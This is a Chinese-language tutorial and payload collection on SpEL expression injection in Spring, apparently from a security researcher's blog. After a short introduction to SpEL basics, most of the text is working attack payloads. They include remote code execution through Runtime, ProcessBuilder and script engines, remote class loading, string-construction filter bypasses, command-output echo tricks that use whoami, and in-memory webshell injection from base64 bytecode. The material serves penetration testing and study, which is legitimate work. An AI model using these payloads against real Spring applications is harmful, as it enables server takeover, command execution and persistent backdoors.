spel表达式注入
spel
在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL)
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
spel基础
导入依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.3.21</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>5.3.21</version> </dependency>
|
基本操作
1.不注册变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example.SPEL;
import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext;
public class SpELExample { public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("'test'.concat('test')"); System.out.println(exp.getValue()); } }
|
运行输出
2.注册变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class SpELExample { public static void main(String[] args) { test test = new test(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("weber",test);
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("#weber.name"); System.out.println(exp.getValue(context).toString()); } } class test { public String name = "AsaL1n"; }
|
将test这个对象注册到StandardEvaluationContext内 注册为weber 这样在spel里面可以直接调用这个表达式
成功访问到这个对象
定界符
spel使用**#{}**作为定界符 里面的字符都被认为是spel表达式
其中**${}** 用于加载外部属性文件中的值 两者可以混合使用
我们使用TemplateParserContext解析字符串模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example.SPEL;
import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext;
public class SpELExample { public static void main(String[] args) { test test = new test(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("weber",test);
ExpressionParser parser = new SpelExpressionParser(); String payload = "name is #{#weber.name}"; Expression exp = parser.parseExpression(payload, new TemplateParserContext()); System.out.println(exp.getValue(context).toString()); } } class test { public String name = "AsaL1n"; }
|
运行结果为
类型表达式
T() 会把里面的东西解析成一个类 ,此操作符返回一个object 他帮助我们获取类的静态对象并且返回
1 2 3 4 5 6 7 8 9 10
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload = "#{T(java.lang.Runtime)}"; Expression exp = parser.parseExpression(payload, new TemplateParserContext()); System.out.println(exp.getValue(context).toString()); } }
|
运行结果为
我们拿到了Runtime对象 那就可以直接rce了
1 2 3 4 5 6 7 8 9 10
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload = "#{T(java.lang.Runtime).getRuntime.exec('calc')}"; Expression exp = parser.parseExpression(payload, new TemplateParserContext()); System.out.println(exp.getValue(context).toString()); } }
|
需要注意的是 T(type)里面的必须是类全限定名字
不过java.lang下的包已经被spel库内置了 所以可以直接不指定具体的包名
变量引用
存在一些特殊的对象可以被引用
1 2 3 4
| #variableName引用自定义变量 #this 引出此时正在计算的上下文 #root 当前容器的root对象 @something 引用bean
|
直接rce
runtime
如上文 可以直接构造出runtime来rce
1 2 3 4 5 6 7 8 9
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload = "#{T(java.lang.Runtime).getRuntime.exec('calc')}"; Expression exp = parser.parseExpression(payload, new TemplateParserContext()); System.out.println(exp.getValue(context).toString()); } }
|
ProcessBuilder
1 2 3 4 5 6 7 8 9 10
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload = "#{new java.lang.ProcessBuilder('calc').start()}"; Expression exp = parser.parseExpression(payload, new TemplateParserContext()); System.out.println(exp.getValue(context)); } }
|
看到很多师傅里面选择使用了这种写法 也贴一下
1
| String payload = "#{new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()}";
|
scriptEngine
jdk1.6开始提供了动态脚本语言诸如JavaScript动态的支持 .我们可以通过这个动态执行代码
输出引擎的相关信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class SpELExample { public static void main(String[] args) { ScriptEngineManager manager = new ScriptEngineManager(); List<ScriptEngineFactory> tools = manager.getEngineFactories(); for(ScriptEngineFactory factory:tools){ System.out.println(factory.getEngineName()); System.out.println(factory.getEngineVersion()); System.out.println(factory.getExtensions()); System.out.println(factory.getLanguageName()); System.out.println(factory.getNames()); System.out.println(factory.getMimeTypes());
} } }
|
输出结果如下
我们可以看到所有js的引擎如下
1
| [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
|
我们可以使用里面的引擎完成rce
Nashorn
1 2 3 4 5 6 7 8 9 10
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload = "#{new javax.script.ScriptEngineManager().getEngineByName('nashorn').eval('java.lang.Runtime.getRuntime().exec(\"calc\");')}"; Expression exp = parser.parseExpression(payload, new TemplateParserContext()); System.out.println(exp.getValue(context));
} }
|
成功rce
javascript
同上
1 2 3 4 5 6 7 8 9 10
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload = "#{new javax.script.ScriptEngineManager().getEngineByName('javascript').eval('java.lang.Runtime.getRuntime().exec(\"calc\");')}"; Expression exp = parser.parseExpression(payload, new TemplateParserContext()); System.out.println(exp.getValue(context));
} }
|
间接rce
urlclassloader
通过urlclassloader加载一个远程的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.example.SPEL;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;
public class calc extends AbstractTranslet { public calc() { }
public static void main(String[] args) { }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { throw new RuntimeException(var1); } } }
|
然后起一个服务
可以远程加载这个类完成rce
AppClassloader
1 2 3 4 5 6 7 8 9 10 11
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload ="T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')"; Expression exp = parser.parseExpression(payload); System.out.println(exp.getValue(context));
} }
|
其他的payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| T(org.springframework.expression.Expression).getClass().getClassLoader() #thymeleaf 情况下 T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader() #web服务下通过内置对象 {request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")} username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf ${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。) ${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径 ${header} 文件头参数 ${applicationScope} 获取webRoot ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令 // 渗透思路:获取webroot路径,exec执行命令echo写入一句话。 <p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径
|
bypass
任意字符构造
T(类名).getName()
会返回字符串类型的全限定类名 使用角标来构造我们想要的字符串
1 2 3 4 5 6 7 8 9 10
| public class SpELExample { public static void main(String[] args) { StandardEvaluationContext context = new StandardEvaluationContext(); ExpressionParser parser = new SpelExpressionParser(); String payload ="T(String).getName()[0].replace(106,65)"; Expression exp = parser.parseExpression(payload); System.out.println(exp.getValue(context)); } }
|
输出为
也可以用
1
| String payload ="T(Character).toString(97)";
|
外部可控字符绕过
1 2 3 4 5 6 7 8 9
| post方法构造字符串
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49) get方法构造字符串
#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49) 外部的cookie绕过
[[${#request.getRequestedSessionId()}]]
|
回显
BufferedReader
1
| payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
|
Scanner
1
| new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
|
1
| #response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
|
内存马
1 2 3
| T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}
|
加载成字节码之后打入即可
参考
https://boogipop.com/2023/08/06/SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93%E5%8F%8A%E5%9B%9E%E6%98%BE%E6%8A%80%E6%9C%AF/
https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%BF%90%E7%AE%97
https://xz.aliyun.com/t/9245?time__1311=n4%2BxnD0DuAG%3DU4WqGNnmDUhDROwiDRe6o%2B1oD